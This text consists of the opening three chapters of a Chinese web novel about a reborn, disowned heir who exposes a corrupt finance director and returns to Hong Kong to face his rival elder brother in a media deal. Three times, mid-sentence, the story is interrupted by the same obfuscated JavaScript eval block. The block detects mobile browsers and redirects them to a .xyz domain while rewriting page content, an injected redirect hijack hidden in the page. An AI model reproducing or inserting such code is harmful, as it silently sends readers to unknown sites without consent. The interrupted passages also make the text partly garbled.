《豪门弃犬恃帅行疯(重生)》 1. 第一章 “陈一诺,你很不对劲。” 一星集团的法务总监王之初,站在陈一诺那间拥有巨型落地窗,可180度俯瞰N市美景的总裁办公室内焦急徘徊。 “你是休假还是退休啊?怎么还不回来?!” “公司里的人找你找疯了,特别是吴奇,说公司很多项目要花钱,等着你批复呢!打你电话也不接,发你信息也不回!你搞什么?” 电话那头传来一阵阵缓慢又缠绵的海浪拍打声,透过电波,把夏天的味道传到世界另一头。 陈一诺声音显得散漫和慵懒,不疾不徐道:“他急让他急。” “我刚刚发你一封邮件,里面的内容,你帮我查清楚。” 王之初跟陈一诺从高中时期认识,知道他偶尔会抽风,但这次抽得过于疯了。 他单手抓了抓头发,提醒道:“我查?您是不是忘了,我下周就离职回港城了?” 陈一诺声音依旧半死不活:“我没忘啊。你要离职,不就是因为跟吴奇不对付吗。” “我刚刚那不算布置工作,是一星集团总裁对高层管理者的盛情挽留,你看完邮件就知道了。” “叮——” 挂断电话,王之初果然收到一封邮件,他点进去一看,正文很短: Dear 老王,帮我做三件事: 第一,查吴奇,详情见附件。 第二,帮我联系环球集团的莫多里。 第三,找保镖。 王之初目光缓慢挪到附件,发现文件大小居然有10G,骂道:操你大爷陈一诺!! …… 一周后,一星集团财务总监办公室内。 财务总监吴奇,坐在椅上眉头紧皱,烦躁地翻着手机,屏幕一直停留在和陈一诺的对话框内。 过去一个多月,只有他在单机发送消息,对方半个标点符号都没回复。从他对陈一诺的称呼上,能感受他的逐渐暴躁。 一周前:一诺,跟奥莱谈收购的会议时间已确定,务必出席! 三天前:老板,目前繁星TV的市场估值大概10亿美金,跟奥莱谈判时,期望别太高,谈成最重要! 一天前:陈一诺!奥莱的秘书说你根本没出现!你人呢??! 这是他给对方发的最后一条消息,对方依旧处于人间蒸发状态。 大学期间,他跟着陈一诺创业,到如今爬到一星集团财务总监的位置。两人虽是上下级关系,也是多年挚交,这种电话不接,短信不回的情况还是第一次。 陈一诺太不对劲了…… “叩叩——” 吴奇暂时放下手机,停止胡思乱想,清清嗓子:“进!” 秘书探身进来:“吴总监,今天是王律的Lastday(*离职前最后一天),欢送会要开始了,大家都在等您。” 吴奇一拍脑袋:“对哦,我差点忘了!” 他跟王之初都是陈一诺的好友,但工作上,两人一直不对付。斗了那么久,总算把对方熬走了。想到从今以后他就是一星集团名正言顺的二把手,刚刚的愁容消散一半。 他假惺惺地感叹道:“哎呀,王律走了,以后公司就剩我一个老人了,寂寞呀……” …… 欢送会设在一星集团的娱乐设备厅。 吴奇抵达时,一群同事正拿着鸡尾酒,围着王之初玩真心话大冒险。 一个来自港城的同事A率先问道:“王律,真心话还是大冒险?” 王之初那张娃娃脸看着就很随和,说道:“真心话吧。” 同事A立刻道:“那你悄悄告诉我们,咱们老板Owen Chan的陈,是四大家族里的陈吗?” 没给王之初回答的机会,同为港城人的另一位同事B先惊讶:“你是说,港城四大家族之首的陈家?!” 同事A撩了撩头发:“不然呢?!” A国N市本地人,对港城的秘闻知之甚少,但一星招了不少在港城土生土长的员工,自然清楚港城“四大家族”的厉害。 老钱豪门陈家、房地产巨擘贺家、酒店龙头李家以及黑白通吃董家。 港城有句话:铁打的陈家,流水的豪门。 四大家族里,其他三大家族每隔几十年便有新面孔,唯独陈家打破诅咒,延续到第五代,仍然屹立四大家族之首。可见陈家家族实力雄厚。 但近几年,围绕陈家的秘闻颇多,引发外界多种猜测。 王之初低头扶正眼镜,面对同事的起哄,无奈求饶:“求各位放过我这个离职老人吧……” 同事A锲而不舍:“哎哟,离职前透露点消息吗。我们就想知道,他是不是陈家那个养子啊!” 港城人都知道,“四大家族”之首的陈家掌舵者是陈老太冷翠英,她膝下有两个孙子。 嫡孙陈宗礼,父母早逝,在陈老太冷翠英眼皮底下长大,被港城豪门圈公认为“陈太子”。 含着金钥匙出生的“陈太子”,不像电视剧刻板印象中德不配位,总是被废的太子爷。 他自小在陈老太栽培下长大,10岁开始列席天峻集团的会议室旁听,耳濡目染地练就了沉稳、果断锐利的性格,能力强,长得还一表人才。 媒体都认为,以陈宗礼的为人和能力,接手天峻集团只是时间问题。 谁也没想到,几年前,陈老太带着一个男孩“空降”陈家,成为陈家二少爷。 有媒体谣传,男孩是陈宗礼父亲流落在外的私生子。报道刊登后,被陈老太一纸律师函告到倒闭。 直到后来二少爷的“大伯”澄清,才知道他是陈老太领养回来的。大家放着他的名字不叫,只喊他:陈家那个养子。 慢慢地,大家的关注点转移到陈家“太子”vs“养子”谁能接手天峻集团的讨论。 谁不爱看大权在握的太子爷,被平平无奇的养子奇袭? 几篇报道的爆红,让媒体吃到舆论的甜头,更是疯狂地把两兄弟的一举一动放大比较。 刊登次数多了,公众自然就洗脑了,真相与否也不重要。够话题,够狗血,才重要。 一来二去,两兄弟被媒体塑造成一对“豪门宿敌”。以至于港城人都清楚,陈家两位少爷关系不好。 …… 都是港城人,不少从港城同事对这段豪门恩怨倒背如流。唯独对陈一诺这位主角知之甚少。 为此,只能抓着王之初离职的机会,借着酒意和气氛套套话。 王之初虽然长着一张稚气的娃娃脸,但常年积累的职业素养,让他非常谨慎,哪怕是玩游戏,不该说的打死不说。 他再次拒绝:“我真不知道,这样吧,我自罚三杯。” 说完拿起三杯鸡尾酒仰头喝下,等他喝完最后一杯,吴奇终于姗姗来迟。 他声音洪亮,未见其人先闻其声。 “哎哟,你们欺负王律干什么,人家都要走了……有什么问题问我呀。” 听了半天墙根的吴奇大步走进娱乐厅,随手拿起一杯鸡尾酒。 为了显示自己跟陈一诺关系更好,也为了显示自己亲民、没架子,他笑笑说:“既然今天人齐,八卦一次说完,以后不许提了啊。” 本以为空手而归的八卦同事们,突然又有了希望,他们起哄道:“没问题吴总!你说,我们集体闭麦~” 吴奇喝了一口酒,红着脸道:“是真的~我们老板Owen,就是港城陈家的那位陈一诺。” “哇,居然是真的!!”……气氛组发出一阵果然如此的惊叹。 “不过,陈总真的很不容易。” “当年,他跟太子爷为了争天峻集团接班人的位置,承受了很多外部舆论和内部压力。眼看形势不对,陈老太当机立断,决定保太子,弃养子。” “所以,咱们陈总刚满18岁,就被赶出国生活。” 港城媒体出了名的笔毒,在陈老太官宣陈太子掌管天峻那天,把“陈家那个养子”改成了“陈家弃犬”,贴切又无情。 “幸好啊,老板争气,自食其力创立了一星集团。” 同事A喃喃:“老板当然厉害,但咱们一星跟天峻比相当于蚍蜉撼树,压根不是同一个量级。而且,创业容易守业难,陈太子22岁接手天峻集团董事兼总裁,这几年财报蒸蒸日上,纵观港城那些豪门二代,谁比他争气?况且……他还特别帅,我港城好多朋友是他迷妹~” 同事B立刻反驳:“哎,咱们老板不帅吗?再说,天峻是陈家五代人,上百年耕耘的结晶。我们老板不靠祖荫,白手起家创立的一星。” “别说其他三大家族的二代做不到,让你家陈太子白手起家试试,结果也未必比他强。” 吴奇立刻摆出财务总监的架势:“就是嘛,再看看我们的财报:短视频、游戏业务风生水起,我们老牌业务:繁星TV,几年做到市场估值10亿美金。眼看就要被奥莱收购了!这样的奇迹除了陈总谁能做到?” 现场众人才得知奥莱要收购繁星TV的消息,欢呼道:“真的吗!?10亿美金!” 吴奇抬起下巴,拍拍胸口:“你们老板那么久没出现,就是去忙收购……” 旁边几个吴奇心腹赶紧拍马屁:“奥莱这条线,还是吴总监给牵的!怪不得老板重用吴总监呢。今年分红肯定又创新高!” 吴奇被众星拱月哄着,假装难为情道;“哎呀,讲钱多俗,都是为集团做事。” 看着吴奇满脸横肉演谦虚,油腻得让王之初喝不下剩下的鸡尾酒。 没想到,吴奇还腆着脸过来,假惺惺跟他说:“王律!咱们多年同事了,虽然平时有摩擦,可想到以后你不在了,还真有些舍不得啊。” 王之初心里冷笑,真想说,那我不走了?气气他。 可脸上还是努力挤出微笑,说道:“山水有相逢,可能换个地方又见面了。” “没错没错!”吴奇点点头,“不过你放心。以后啊,我会多照看着一诺!毕竟,他身边能交心的就剩我一个了……” 王之初目光森森,迎合道:“对呀,辛苦你了。” 他把“辛苦”说得用力,甚至咬牙切齿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850425|175834||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚说完,现场所有手机发出:“叮——”的邮件提示音。 大家拿出手机,收到了一封集团人事任命邮件。 “怎么回事,周五下班时间,发邮件……哦,保不齐是你的离职公告……” 吴奇掏出手机前,还阴阳王之初一句,“哦,你的邮箱注销了看不到……我念给你听。” 王之初慢悠悠地看他,说道:“麻烦吴总了。” 吴奇摆摆手,说哪里的话,念道:“即日起,吴奇先生将不再担任一星集团财务总监职位,其相关工作,将有副财务总监接管……” 他的声音越来越低,其他读邮件的同事也都噤了声,欢送会的气氛瞬间跌到冰点。 刚刚还说,吴奇是陈一诺最器重的人,是一星集团的肱骨之臣,前后不到一分钟,人……突然被裁了? 那么讽刺的嘛? 看了两遍邮件的吴奇突然爆发,高声道:“HR呢?搞错了!一定是搞错了!应该是王律的人事变动邮件才对,怎么可能是我?!” “是不是有人趁老板不在搞事?!” HR总监压根不敢出现在现场,但她手下的几个姑娘被吓得瑟瑟发抖,缩在角落就怕被吴奇抓到。 最后,还是王之初冷静地放下没喝完的鸡尾酒,一字一句道:“吴奇!人事公告是老板直接发的!” 陈一诺真的不对劲!! 吴奇盯着王之初那张娃娃脸,再联想到陈一诺最近的异常。 他欺身上前,拽着王之初的衣领,质问道:“是你!是你在搞我!!” 王之初比他高半个头,对方压根拽不动他,他冷静问道:“吴总,你做过什么自己清楚……” 看着王之初深不可测的眼神,吴奇额上冒出心虚的冷汗,他嘴上否认道:“我……我不知道你说什么!” 心里却想:不可能啊,他怎么可能察觉?!我在哪里露出了马脚?不应该啊…… 这时,办公室内涌入一群警察。 领头那位身穿制服的队长出示证件,对吴奇说道:“吴先生,我们接到报案,怀疑你利用职务便利收受贿赂,以及涉嫌有商业间谍行为,请跟我们走一趟。” 吴奇的双腿突然软了,两个警察一左一右把他架起来,才勉强能站稳。 他有气无力道:“我不服,我要找律师!” 王之初想起那叠提交给警署的材料,娃娃脸上露出一丝阴郁:“找吧,我倒要看看哪位律师比我厉害。” …… 目送警车离开,身后还站着窃窃私语的同事。 王之初拨通陈一诺的号码,很快被接听,对方声音有些哑:“老王……怎么样了?” 王之初忍下被喊“老王”的烦躁,说道:“人已经抓回警局了,他那些收受贿赂的证据,我也全部整理好移送警局了,涉及金额挺庞大。光是今年,他名下物业都增加了好几幢,我们还在追踪他背后那人的身份。” 陈一诺没表态,他知道跟吴奇对接的人很谨慎,给他的每一笔赃款都洗了好几次。追踪非常困难。除非吴奇主动开口。 王之初继续道:“虽然,还不清楚背后的始作俑者,但这些证据,也够吴奇判几年的。” 对方并不意外,笑笑道:“很好,辛苦了,老王 。” 王之初想起一周前,陈一诺给他10G附件。 本以为,他在开玩笑,结果越查越心惊。他虽然讨厌吴奇,却也没想到对方居然顶着“陈一诺好友”、“一星集团财务总监”的帽子,吃里扒外,当商业间谍泄漏一星的内部情报,甚至对内贪污公款,数额相当庞大。 他把证据整理好的那天,陈一诺没看一眼,直接让他把证据给警察。转头就出具了这封解雇信,还定在今天群发所有人。 王之初捏着手机的手用了些力道,他问:“你……什么时候开始怀疑他的?” 电话那头传来陈一诺故作神秘的声音。 “有一天晚上,我梦见我奶奶了。老太太让我小心吴奇,说他要把我送进监狱,打断我的腿……” “真……真的?”唯物主义王之初,缓缓问了句,结果对方半天没吭声。 很快,他反应过来,骂道:“陈一诺!我他妈差点就信了!” 电话那头忍笑的陈一诺“哈哈”破了功,说道:“老王,你太容易骗了,怎么当上的律师?!当事人把你骗得团团转,你还给他辩护呢!” 王之初没好气:“得了吧,最爱骗我的人就是你!” “你到底什么时候回公司?吴奇被抓了以后,公司更群龙无首了。” 陈一诺收起笑意:“无首就无首吧,我们去办更重要的事。” “机票给你买好了!明天跟我一起回港城!” 刚熬了一周查账,转眼又要去港城出差,王之初气得跳脚:“你他妈把我当过人吗?” 陈一诺豪迈道:“老王,时不我待啊!不说了,岛上信号太差!我们港城见。” 王之初骂道:“这时候信号差了?!见个屁,你见鬼去吧!” 2. 第二章 “妈妈!那是个人吗?” 港城机场行李转盘处。旅客正在等待行李转出,一把稚嫩童声问出了所有旅客都不在意的问题。 在转盘旁的空椅处,高耸起一个啡色“麻袋”。近看,才看清外头裹着一张咖啡色编织毯,洗得有些发白,上面印着不同动作的史努比图案。 大人们都知道里面裹着个人,只有小孩会好奇地发出疑问。 孩子妈妈看见自己行李转出来,催促他往前走,企图转移他的注意力:“哎呀别看了,就是一个收破烂的……” 大人嘴里的“收破烂”,对小孩而言等于穷凶极恶的人贩子。 小孩边走边嘟囔着:“收破烂的也能坐飞机了?” 妈妈一时语塞,拽紧他的手,低声警告:“所以说,你坐飞机要听话,不然收破烂的来抓你!” 妈妈们晚上念着童话,白天讲着鬼话。任何事情,在她嘴里,都能被快速捏造成恐吓孩子的警告。 小孩表面轻蔑地“切”一声,眼神却再次扫过缩在角落的人。目光中透出一丝严阵以待。 人们拿到行李慢慢离开,议论声也小了,那个“麻袋”才终于开始蠕动。 他把身上的毯子掀开,先冒出一个黑色脑袋,头发杂乱得打绺像鸡窝,完全分辨不出是自然卷。毯子继续往下落。他掏出一副黑框眼镜戴上,挡起那双狡黠的眼睛。 “呜——” 一阵轰鸣声,飞机从落地窗旁掠过。他缓慢地转头,目光迷蒙地追着那只“机械大鸟”没入浩瀚天际。 男人摸索着又掏出一顶荧光黄的渔夫帽,堪堪盖住一头杂草。渔夫帽上打着五颜六色的补丁,半张脸被帽檐遮住,却没遮住柔和的下颌线。他的下巴微微上兜,嘴唇上端有唇珠,微微上扬时勾出些许邪气。 只看半张脸,就跟“收破烂”搭不上边。 这个神秘的男人,名叫陈一诺,今天是他重生后的第一个月。 一个月的时间,足够让他从“不会吧,我在做梦吗?”慢慢转变成“我操!老子真的重生了!” 上辈子,最后的记忆是被仇家扔下悬崖,刺骨的寒风混着海浪,还没入海,他的灵魂已经被拍碎了。 他挺珍惜生命的一个人,却在快速下坠时,惊觉自己早就没了生的欲望。 心想:随便吧,活着也没什么好期盼的。 上辈子,陈一诺被叫“陈家弃犬”,如今想想,自己最后的结局,还真有种宿命感。 先是被陈家赶到国外去,又好不容易回来,陈宗礼和陈老太,身故;老钱豪门陈家没落、老宅被卖、天峻集团被收购…… 他断了一双腿,成了真正的弃犬,独自留在人间苟延残喘…… 重生后他回想这悲剧的开端,就是从好友吴奇——这个吃里扒外的“二五仔”开始的。 于是,弃犬重生后,第一口啃了这个“二五仔”,让他也常常牢狱之灾。 别的不说,这一口真爽! “叮——” 手机响起,来电显示王之初。上辈子他的朋友很多,可关键时刻还留在他身边的,只有老王。 他按下接听,对方开口就是埋怨:“你不是比我早到港城吗?怎么还在机场啊?” 陈一诺透过黑框眼镜,看向机场出口处。 早上10点,正是上班高峰期。机场内的旅客拖着行李行色匆匆,几个不合群的西装壮汉站在机场出口,眼睛平等地扫射着每个离开机场的人。 陈一诺有种直觉,这些人是来“接”自己的。 他压低声音跟王之初说:“机场有人堵我,我自己走不了。你把车开到机场门口,我找机会出去。” 王之初皱着眉:“你秘密回港城的事,除了我还有谁啊?” 陈一诺也纳闷:“不知道。” 电话那头王之初道:“这消息也太灵通了,我下机场高速,五分钟就到,你赶紧出来。” 陈一诺:“行。” …… 这时,一个旅行团到转盘拿好行李准备离开,陈一诺的双眼“蹭”一下亮了。 他机警地拉了下帽檐,快步混进旅行团。 入耳的都是听不懂的韩文,才发现这是一个中老年“斯密达”旅行团,清一色的“阿泽西”和“阿芝麻”(*大叔、大婶)。 陈一诺追上队末的大妈,丢出一句韩文:“阿芝麻,我帮你推行李箱……” 穿着粉色Polo衫,电了蛋卷头的“阿芝麻”疑惑地看着陈一诺,墨镜里倒映出陈一诺灿烂的微笑,大妈居然毫无防备地把行李箱让给他。 混在其中,陈一诺领略到韩国大妈大叔的夸夸大法,说机场奶茶店的黑糖波波奶茶让人停止心跳,说机场设计是人类宝石,说港城帅哥美女是艺术名品…… 西装大汉被韩国旅客的一通夸夸昏了头,一时间没认出混在其中的陈一诺,让他“丝滑”地离开了机场到达大厅。 刚出机场,陈一诺就被港城的夏日阳光扑了个满怀。 他双手撑起身上的毯子,想对着阳光伸懒腰,懒腰伸到一半,突然卡住。因为他的余光扫到两个西装大汉从机场出口朝他走来! 他反应很快,立刻裹紧毯子挡住脸,快步跟上韩国旅行团。西装大汉越走越近,陈一诺边走边对老王语音:老王,你到哪儿了?再不来,我就要上思密达的旅行大巴做“欧巴”了! “哔——哔——!” 突然,陈一诺听见身后有喇叭声,他警觉地朝后看,一辆雷克萨斯停在旅游大巴后面。 他如释重负,慢慢后退,雷克萨斯的车窗缓缓降下,露出王之初的脸。他扶了扶金丝眼镜,一张娃娃脸,说话却很刻薄。 “这位38度还抱着一张破毯,冒充“思密达”的中年男子,赶紧上车吧!” “我才25,怎么就中年了?!”陈一诺虽然不满,还是上了副驾。 他把一路相伴的宝贝毯子放到后排,摘下渔夫帽,就这么一会儿功夫,额上已经一层薄汗,不知道是热的,还是被吓的。 王之初视线在他的破洞上衣和牛仔裤上巡视,最后又落到那张脸上。 他道:“没说你是收破烂的已经很收敛了。你是怎么把自己搞成这副模样?荒岛求生么?” 陈一诺拨了拨自己那头自然卷,心里比较着“收破烂”和“中年男子”,哪个称呼更伤人。 嘴上淡然地回了句:“差不多。” 一个月前,他在A国塔门岛的一家小医院醒来。护士跟他说,他冲浪遇险,被海水冲上沙滩,当地村民看他还有一线生机,于是把他送到医院抢救。 为了处理掉吴奇,以及尽快回到港城,他全身上下只穿了一套衣服,带着一张毯子,可以说非常落魄。 王之初的车技跟他的毒舌一样狠辣,几脚油门,左超右超,他们已经上了高速。 “最近帮你做事我都熬出黑眼圈了……老板,黑眼圈算工伤吗?” “算,但我得先验验,谁知道你的黑眼圈是熬出来的,还是被揍出来的?” 说完,陈一诺伸手要扒他的眼镜,王之初一手挡回去,对陈一诺幼稚的攻击感到无语。 “别闹!开着车呢!” 陈一诺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850426|175834||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安静下来不再闹他,王之初歪头看他,居然从他玩世不恭的脸上,读出一种…… 苍凉。 也不知道去荒岛,遇上什么事了。 王之初心里疑惑许久,看见真人忍不住问:“收购的事怎么样了?吴奇帮你找的奥莱,真没去谈?” 陈一诺的回答干脆又无所谓:“没去。” “没去?”王之初震惊地看向陈一诺,差点闯了红灯。 他赶紧踩刹车,定了定神,才敢转头问他:“奥莱是那么多投资者里,对繁星TV意向最高的。吴奇帮你把路都铺好了,你为什么不去?荒岛求生求傻了?” 虽然,一星集团的新媒体和游戏业务势头正好,但开发费用巨大,面临着资金周转的问题。所以,他才迫切的要找人谈收购变现。王之初知道内情,替他着急。 陈一诺“啧”了声,说道:“不去就不去,吴奇介绍的能是什么好人?” 王之初叹了口气,想起陈一诺在岛上时,拜托他三件事,第一件查吴奇,另一件找莫多里…… 他恍然大悟道:“所以,你才要搭上莫多里啊?” 莫多里A国传媒大亨,手握A国最顶尖的环球传媒集团。从报纸、电台、电视台、户外……一应俱全。没人敢得罪掌握舆论喉舌的莫多里,连A国总统都避让他三分。 野心勃勃的莫多里,人到60岁,想要搭建国际媒体网络。于是,想收购一家东南亚电视台,这件事,在业内已经被传开,业界都在翘首以盼,看哪家电视台能得莫多里的青睐。 虽然,吴奇吃里扒外,但跟奥莱谈收购,难度更低,为什么陈一诺偏偏要舍易求难,找莫多里呢……实在太奇怪了。 陈一诺脑袋靠着座椅,下巴上扬,露出优越的下颌线。他没回答王之初的问题,只问:“时间定了吗?” 王之初把墨镜推到头顶,说道:“定了,本来莫多里要赶晚上8点的飞机,我磨破嘴皮子,才肯给咱们留半小时。咱们排在最后,今晚6点半,LS酒店顶楼高台餐厅。” “我们前面还有谁?” 王之初:“另外两家电视台,都在莫多里收购的意向范围内,一家是HT,另一家是TVA。” 他说TVA的时候,偷偷打量着陈一诺的反应。港城人都知道,TVA隶属天峻集团。 陈家的天峻集团,陈太子陈宗礼掌舵的天峻集团。 看陈一诺半天没反应,他试探道:“咱们跟TVA比,能有几成把握?” 陈一诺那双灵动的眼睛在镜片后闪过一瞬志在必得,话却说得很保守:“不知道,尽人事。” 王之初仿佛看见中学时代的陈一诺,戴着呆板的黑框眼镜,双手握拳,在巷子里跟混混1V3也毫不畏惧的自信。 但是,有“不要命争取”的志气,有时候也弥补不了天堑般的实际差距。 陈太子手上的电视台TVA,比陈一诺的繁星TV胜算大得多,这是不争的事实。 可明知如此,每回陈一诺对上陈太子,还是像疯狗一样拼尽全力。 他说尽人事,是拼尽全力的“尽”。 他那份“想赢陈宗礼,且只有他能赢”的自信。总让王之初惊艳。 没想到,陈一诺回港城的第一战居然遇上了“宿敌”陈太子。 时隔多年,又能目睹“王不见王”的两人同台斗法,王之初激动得浑身战栗。 他默默把空调温度调高,让手臂上的激动寒毛别太明显。按耐住激动说:“趁还有时间,带你去找Monica收拾一下吧?” 陈一诺颔首道:“走着。” 3. 第三章 周五下班前的最后一小时,港城金环商业区内,连空气中都充斥着周末即将到来的快乐因子。 但有人欢喜有人愁。 一辆银色劳斯莱斯幻影,从天峻大厦的停车场驶出,脸色凝重的厉冬,正抓紧最后时间复习谈判资料。 小周末的松弛感在他这里是不存在的。 他的腿轻微抖动着,这是他紧张焦虑时不自觉的动作。 跟焦虑值爆棚的厉冬截然不同。旁边那位身穿三件套西装的“陈太子”,倒是浑身放松。 他翘着二郎腿,骨节分明的手指在车扶手上点着,一双深邃的上斜眼看向窗外,让人摸不透他在想事情还是在放空。 感觉不像要赴一个重要的谈判,而是去吃一顿随意的晚餐。 厉冬看着身旁顶头上司的淡定,跟千千万万初入职场的社畜一样,感受到了大神和菜鸟的差距。 在你为某件小事焦虑的时候,你的老板,早就千帆过尽,心如止水。 而你在内心呐喊:我什么时候能成为他……嘤嘤嘤。 …… 下班晚高峰的金环,哪怕是劳斯莱斯,在堵车的时候也没有特权。区区几百米的直路,红绿灯绿了又红,来回三趟,拥堵的车龙并没有缓解。 劳斯莱斯走走停停,这会儿停车的道路右侧,正对着一个窄巷口。远处的几声激烈的狗吠,吸引了陈宗礼的注意。 小巷不深,转头就能看见两只中华田园犬在结队围攻一只卷毛黑贵宾。 刚开始,黑贵宾丧眉耷眼,夹着尾巴往后缩。那两只中华田园犬龇牙咧嘴,边吠边步步逼近,一看卷毛处于劣势局。 忽然,其中一只田园犬抬手爆冲,企图把黑贵宾压制在爪下!看似“懦弱”的卷毛贵宾突然凶猛地攀住对方的脖颈,把它扑倒。不由分说,张嘴“昂啊”一口咬到它的耳朵。 另一只中华田园犬被眼前的反击吓了一跳,反应过来要救同伴时,黑贵宾收了嘴,踩着中华田园犬的身体逃之夭夭。 逃跑的时候,小家伙的黑嘴上,多了一圈黄毛,边跑边咧起一边牙,像在得意地笑。 小卷毛…… 陈宗礼禁不住想起,那只同样喜欢“扮猪吃老虎”的小卷毛。没什么人情味的脸上,嘴角破天荒地扬起几度。 他转过头来,问副驾驶的保镖:“机场有消息了吗?” 保镖队长块头大,身高接近两米,在幻影里也不得不弓腰,他声音很沉,如实汇报:“我们派人在机场等了一天,目前还没有二少爷的消息……” 陈宗礼毫不意外地“嗯”了声,目光转向车外,刚刚那只黑贵宾已经消失得无影无踪。 小卷毛就是很难抓的。 听见“二少爷”三个字,厉冬的关注点成功从谈判里转移。 虽然,他在陈宗礼身边呆的时间不久,却也知道“陈一诺”对陈宗礼而言,待遇堪比“伏地魔”。每次提起,太子爷的心情都不好。 这还是他第一次主动提起。厉冬心里多少有些意外,怯生生地问道:“二少爷要回国了?有是真的吗……” 手机被陈宗礼拿在手里,旋转把玩着,他语气玩味:“谁知道呢……” 消息这么模糊,就让保镖去机场等一天吗?厉冬这位打工人,不由得心疼保镖大哥们。 …… 陈一诺回国行踪的泄露,源于一条PO文。 12小时前,也就是今天清早,远在A国的庄嘉轩,给陈太子转发一则PO文。 PO文的博主在机场地勤工作,博主在社交APP上发了一张live图,长按就成了3秒短视频。 3秒里,狭长的机场廊桥上。一个男人背对镜头,慢慢沿着廊桥走去登机。他身材高瘦,头戴荧光黄渔夫帽,一张史努比印花毯子随意挂在身后,伴着动作缓缓扬起。 凌晨的航班,廊桥内的灯在抓拍刹那,戏剧地闪了闪。像复仇者联盟里某位能控制电路的“能力者”,在一明一暗之间,极限前进。 他头戴“黄冠”、身覆史努比披风,气势如虹,仿佛准备单枪匹马迎敌。 最后,博主给他编辑了一则贴切的文案:今日份机场偶遇 | 午夜出逃的史努比王子。 庄嘉轩转发的原因,正是王子背后那张史努比“披风”。 庄嘉轩:这张安抚毯是不是很眼熟……像不像那谁? 陈宗礼不痛不痒地回了一个:谁? 此时A国还是凌晨,庄嘉轩被扫兴的朋友破了一盆冷水,反问:明知故问!这个男的很可能是陈一诺啊!他是不是回国了?你有没有收到消息? 陈宗礼手速很快:不知道,没收到 庄嘉轩:我他妈再给你发消息,我就是猪! 陈宗礼:什么时候回来? 庄嘉轩:这周五 陈宗礼:猪.jpg 庄嘉轩:陈宗礼!!!原地爆炸.jpg 陈宗礼从猪的对话框里退出,再次翻看那则PO文。 实际上,他一眼就认出来了。那张毯子,那个背影,就是当年被他赶出国的陈二少。 他顺着PO文,浏览博主的主页。从她以往发布的内容,可以判断对方真的是在机场工作。而这个账号,正是靠分享A国机场偶遇的帅哥、明星,吸引流量。从数据上看,效果不错。 至少,这位“史努比王子”的PO点赞量,快速突破5w。 陈宗礼留意着这篇PO文的发布时间,然后找出对应时间的航班。最终,确定那时间段起飞的航班刚好飞往港城,于是派保镖去机场逮人。 从看到庄嘉轩转发的PO文,到布置任务,总共只用了十分钟。 …… 十分钟,车厢内的沉默,已经长达十分钟。 厉冬担任陈宗礼的总裁助理三年,却始终不习惯跟陈宗礼独处。 明明身处现代社会,可陈宗礼与生俱来的气场,以及没人情味的冰块脸,总让他有古时候“伴君如伴虎”的错觉。 怕自己在陈宗礼面前表现得太有能力,惹他疑心。又怕自己表现得过于蠢笨,被他嫌弃。 特别是此时,他就很想用一个聪明的方式,巧妙地打听,远在A国多年的陈一诺,为什么突然在这个节骨眼回港? 就在他胡思乱想时,陈宗礼突然开口:“今天跟莫多里的谈判,我们有几成把握?” 像突然被老师点名提问的学生。厉冬满脑子乱七八糟的想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850427|175834||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法瞬间消失,他后背僵直,忍不住吞了口口水,板正道:“这次谈判,我们的竞争对手主要是H国的HT卫视。但无论是观众规模,和节目内容产出质量,HT跟我们TVA都不是同一个量级。只要价格谈得拢,我们的胜算,还是很大。” 陈宗礼敏锐地捕捉到他话里的细节,他慢条斯理地反问:“主要是HT卫视,那次要的呢……还有谁?” “呃……” 他被突如其来的反问哽了下,脑子一片空白,蠢笨的厉冬现行了。 陈宗礼淡淡看着对方,那双上斜眼哪怕没表情时,也严肃地让人后背发凉。 其实,整个东南亚,能被传媒大亨莫多里看上的电视台就那么几家。那些叫不上名字的对手,根本不值得关注。 陈宗礼期待他这样回答。 然而,半晌后,厉冬磕磕绊绊回复道:“我……我再去确认一下。” 陈宗礼的眼神从他满是恐惧的脸上收回,没再说话。 他知道自己长了一张让下属感到畏惧的脸。老太太不止一次教育他,和蔼些,多笑笑,这样比较亲民,员工工作时也不用那么紧绷。 他试过了,他一笑,下属们更害怕。于是,他索性维持原状。 待确认的消息比厉冬预料来得快,手机震动的同时他点开消息,目光有瞬间呆滞。 他抬头看向陈宗礼,又吞了口口水:“老板,莫多里那边新增了一个候选人。” 陈宗礼撩起眼皮,假装关心。 厉冬惊恐道:“繁星TV。” 一星集团的繁星TV,陈一诺的繁星TV。 上下文一联系,你猜怎么着,陈一诺回来的原因不就找到了。 陈宗礼冷哼了声,似笑非笑。他看好戏似的问厉冬:“那现在呢?我们有几成把握?” 求生欲,让厉冬反应很快:“那当然还是我们胜算更大。繁星TV跟我们TVA也不是一个量级的。再说……” “您在谈判桌上向来所向披靡,肯定旗开得胜!” 陈宗礼是谈判桌上的神,没有他谈不下来的项目。 “是吗?” 